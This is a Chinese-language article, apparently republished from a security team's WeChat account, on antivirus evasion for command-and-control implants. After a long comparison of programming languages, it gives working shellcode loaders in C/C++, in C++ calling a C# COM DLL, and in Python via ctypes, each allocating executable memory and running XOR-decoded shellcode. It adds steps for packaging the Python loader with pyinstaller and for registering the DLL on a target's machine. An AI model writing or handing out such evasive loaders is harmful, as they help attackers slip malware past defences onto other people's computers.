1.什么语言适合做C2工具的免杀
首先我们需要了解一下编程语言的分类,大致可以分为以下几种.
1.低级语言
机器语言(二进制代码)、汇编语言(面向机器的程序设计语言)和符号语言。汇编语言源程序必须经过汇编,生成目标文件,然后执行。
机器语言优缺点如下:
优点:直接执行,速度快,资源占用少。
缺点:可读性、可移植性差,编程繁杂;
汇编语言优缺点如下:
优点:能够保持机器语言的一致性,直接、简捷,并能像机器指令一样访问、控制计算机的各种硬件设备,如磁盘、存储器、CPU、I/O端口等。使用汇编语言,可以访问所有能够被访问的软、硬件资源,目标代码简短,占用内存少,执行速度快。
缺点:不同的处理器有不同的汇编语言语法和编译器,编译的程序无法在不同的处理器上执行,缺乏可移植性,难于从汇编语言代码上理解程序设计意图,可维护性差,即使是完成简单的工作也需要大量的汇编语言代码,很容易产生bug,难于调试,使用汇编语言必须对某种处理器非常了解,而且只能针对特定的体系结构和处理器进行优化,开发效率很低,周期长且单调。
2.高级语言
BASIC(True basic、Qbasic、Virtual Basic)、C、C++、PASCAL、FORTRAN、智能化语言(LISP、Prolog)、动态 语言(Python、PHP、Ruby、Lua)等等。高级语言源程序可以用解释、编译两种方式执行。通常用后一种。我们使用的C语言就是使用的后者。
高级语言的优缺点如下:
优点:高级语言接近算法语言,易学、易掌握,级语言为程序员提供了结构化程序设计的环境和工具,使得设计出来的程序可读性好,可维护性强,可靠性高;高级语言远离机器语言,与具体的计算机硬件关系不大,可移植性好,重用率高;由于把繁杂琐碎的事务交给了编译程序去做,所以自动化程度高,开发周期短,且程序员得到解脱,可以集中时间和精力去从事对于他们来说更为重要的创造性劳动,以提高程序的质量。
缺点:运行速度基本上比直接用汇编写的慢,速度和程序大小与编译软件有关。
按转换方式可分为三类:① 编译型语言; ② 解释型语言;③ 混合型语言。
计算机不能直接的理解高级语言,只能直接理解机器语言,所以必须要把高级语言翻译成机器语言,计算机才能执行高级语言的编写的程序。翻译的方式有两种,一个是编译,一个是解释。两种方式只是翻译的时间不同。
-
编译型语言
需通过编译器(compiler)将源代码编译成机器码,之后才能执行的语言。一般需经过编译(compile)、链接(linker)这两个步骤。编译是把源代码编译成机器码,链接是把各个模块的机器码和依赖库串连起来生成可执行文件。编译和执行是分开的,但是不能跨平台。 优点:编译器一般会有预编译的过程对代码进行优化。因为编译只做一次,运行时不需要编译,所以编译型语言的程序执行效率高。可以脱离语言环境独立运行。 缺点:编译之后如果需要修改就需要整个模块重新编译。编译的时候根据对应的运行环境生成机器码,不同的操作系统之间移植就会有问题,需要根据运行的操作系统环境编译不同的可执行文件。 代表语言:C、C++、Pascal、Object-C、swift等。
-
解释型语言
解释性语言的程序不需要编译,相比编译型语言省了道工序,解释性语言在运行程序的时候才逐行翻译。每一个语句都是执行的时候才能翻译。这样解释性语言每执行一次要翻译一次,效率表较低。 优点:有良好的平台兼容性,在任何环境中都可以运行,前提是安装了解释器(虚拟机)。灵活,修改代码的时候直接修改就可以,可以快速部署,不用停机维护。 缺点:每次运行的时候都要解释一遍,性能上不如编译型语言。 代表语言:JavaScript、Python、Erlang、PHP、Perl、Ruby等。
-
混合型语言
混合型语言也叫半编译型语言。比如java、C#,C#在编译的时候不是直接编译成机器码而是中间码,.NET平台提供了 中间语言运行库运行中间码,中间语言运行库类似于Java虚拟机。.net在编译成IL代码后,保存在dll中,首次运行时由JIT在编译成机器码缓存在内存中,下次直接执行。 java解释器采用生成与系统无关的字节代码指令技术。也就是说,在任何不同的操作系统上,只要正确安装了java运行系统,就有了编写调试java程序的平台,在分布式应用中,java的这个特点使同一个java程序能在不同的系统上运行,从而提高了软件生产效率。可移植性是跨平台特性的一个延伸,即具有了跨平台性,就保证了可移植性。java程序、java类库、java编译器、java系统都具有可移植性。 另外有一个特殊的情况,正常情况下JavaScript属于解释性语言,V8引擎是被设计用来提高网页浏览器内部JavaScript执行的性能,为了提高性能,v8会把js代码转换为高效的机器码,而不在是依赖于解释器去执行。v8引入了JIT在运行 时把js代码进行转换为机器码。这里的主要区别在于V8不生成字节码或任何中间代码。这里的特殊之处在于JIT做代码优化(同时生成编译版本);解释型语言无法做到这些。
3.结论
综上所述我们基本是所有语言都可以对软件进行免杀,那么这里推荐几个语言 C/C++/C#/PYTHON/GO 这里我们会针对这些进行免杀的测试,为什么这里混合型语言选择C#而不是JAVA 因为C#的.Net Framework环境在win7以上机器上已经存在了只不过是版本不同,而Java的解释器环境就不是了,而且很大,这样我们就不是很容易的植入对方机器,从而不是很容易执行我们自身程序.
2.C/C++对ShellCode免杀
1.原理
用C/C++对ShellCode进行异或加密 在执行
2.代码实现
#include <iostream>
#include <Windows.h>
// 异或22的ShellCode 自己的SellCode
uint8_t code[933] = { 0 };
int main()
{
for (auto& value : code)
{
value ^= 22;
}
DWORD old;
VirtualProtect(&code, sizeof code, PAGE_EXECUTE_READWRITE, &old);
((void(*)()) & code)();
return 0;
}
3.效果
3.C++ and C# 对ShellCode进行免杀
1.原理
使用COM组件 用C++调用C# DLL进行免杀
2.代码实现
选择类库 .NET Framework 创建一个类库项目
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace ClassLibrary1
{
[Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")]
public interface IClass1
{
[DispId(1)]
void ExeSellCode(IntPtr shellCodeAddr, int len);
}
delegate void ExeCall();
public class Class1 : IClass1
{
public void ExeSellCode(IntPtr shellCodeAddr, int len)
{
IntPtr intPtr = IntPtr.Zero;
VirtualProtect(shellCodeAddr, len, 0x40, out intPtr);
ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall)));
call.DynamicInvoke();
}
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, Int64 dwSize, uint flNewProtect, out IntPtr lpflOldProtect);
}
}
#include <iostream>
#import "ClassLibrary1.tlb"
using namespace ClassLibrary1;
uint8_t code[933] = {
ShellCode
};
void ExeSellCode(long long shellCodeAddr, int len)
{
CoInitialize(nullptr);
ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1));
ptr->ExeSellCode((long long)shellCodeAddr, len);
ptr->Release();
CoUninitialize();
}
int main()
{
for (auto& value : code)
{
value ^= 22;
}
ExeSellCode((long long)&code, sizeof(code));
return 0;
}
3.效果
4.Python对ShllCode进行免杀
1.原理
Python写完之后 可以通过CPython 进行打包成二进制文件直接运行,体积较大.
2.代码实现
import ctypes
def main():
# length: 933 bytes
buf = b"Python ShellCode xff"
shellcode = bytearray(buf)
size = len(shellcode)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_uint64
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x40
# 申请内存空间
ptr = kernel32.VirtualAlloc(
ctypes.c_int(0), # 基址可以填0, 但是数据类型需要转换
ctypes.c_int(size), # 设置堆栈大小
ctypes.c_int(MEM_COMMIT), # 提交到物理内存
ctypes.c_int(PAGE_EXECUTE_READWRITE) # 设置权限为可读可写可执行
)
# 把shellcode放入缓冲区
buf = (ctypes.c_char * size).from_buffer(shellcode)
kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 申请的内存
buf, # shellcode
ctypes.c_int(size) # 移动的数据大小
)
# 创建线程调用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr), # 利用线程函数调用shellcode
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)) # 线程id为指针类型, 需要传入地址, 所以用ctypes.pointer
)
# 等待线程执行完毕, 关闭程序
# INIFITE在c的设定中值为: -1
kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1))
if __name__ == '__main__':
main()
需要打包成exe
pip install pyinstaller -> pyinstaller -F .main.py –noconsole
3.效果
可以正常上线
6.总结
1.文字总结
综上所述,我们可以看到的是对于ShellCode异或之后目前测试的只有Python可上线,但是并不代表最好用Python来写,恰恰相反我们基本不会去用Python,因为生成的文件大,刚刚生成的大概为8M左右,不利于我们植入到(敌军)电脑.
这里只是介绍了可以用不同语言去来执行上线ShellCode,当然效果也肯定是有所不同的,其他语言还需要自己去测试,不过目前效果很好的有GO,C++还算不错,剩下的就靠你们聪明的大脑去想了.
语言并不能对免杀起到关键的作用,最主要的还是一些稀奇古怪的思路和方法,在今后的帖子里面将会持续更新相关内容.
2.注意点
-
C# 和 C++里面需要注意的点 C# 类库要生成COM
这样会自动在系统里注册dll 如果需要植入到别人电脑里面 需要先将dll加入缓冲区在注册
gacutil /i DLL路径 将这个DLL加入的全局缓存里
regasm DLL路径 注册这个dll
-
Python注意点
需要将python文件生成可执行文件,如果不想生成可执行文件,也可以将Python环境打包到对方环境然后直接Python脚本
蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):免杀技术之语言免杀